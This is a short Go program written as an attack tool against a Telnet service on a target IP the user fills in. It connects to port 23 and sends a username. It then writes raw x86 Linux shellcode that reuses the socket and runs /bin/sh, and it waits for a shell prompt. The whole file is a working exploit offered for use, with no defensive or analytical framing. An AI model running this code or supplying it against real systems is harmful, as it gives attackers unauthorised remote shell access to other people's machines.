package main import ( "fmt" "net" "time" ) func main() { targetIP := "Type your target ip here" // CHANGE THIS targetPORT := "23" // Telnet port conn, err := net.Dial("tcp", targetIP+":"+targetPORT) if err != nil { fmt.Printf("[!] Failed to connect to %s: %v\n", targetIP, err) return } defer conn.Close() fmt.Println("[+] Connected to", targetIP) fmt.Println("[+] Sending credentials....") _, err = conn.Write([]byte("user\r\n")) if err != nil { fmt.Printf("[!] Failed to send credentials: %v\n", err) return } fmt.Println("[+] Sending a surprise!") _, err = conn.Write([]byte{ 0x31, 0xdb, 0x53, 0x89, 0xe6, 0x6a, 0x40, 0xb7, 0x0a, 0x53, 0x56, 0x53, 0x89, 0xe1, 0x86, 0xfb, 0x66, 0xff, 0x01, 0x6a, 0x66, 0x58, 0xcd, 0x80, 0x81, 0x3e, 0x74, 0x65, 0x6c, 0x6e, 0x75, 0xf0, 0x5f, 0x89, 0xfb, 0x6a, 0x02, 0x59, 0x6a, 0x3f, 0x58, 0xcd, 0x80, 0x49, 0x79, 0xf8, 0x6a, 0x0b, 0x58, 0x99, 0x52, 0x68, 0x2f, 0x2f, 0x73, 0x68, 0x68, 0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0x53, 0x89, 0xe1, 0xcd, 0x80, }) if err != nil { fmt.Printf("[!] Failed to send shellcode: %v\n", err) return } fmt.Println("[+] Payload sent! waiting for a shell prompt....") time.Sleep(2 * time.Second) buffer := make([]byte, 1024) n, err := conn.Read(buffer) if err != nil { fmt.Printf("[!] Failed to read response: %v\n", err) return } fmt.Println("[+] Received response:", string(buffer[:n])) }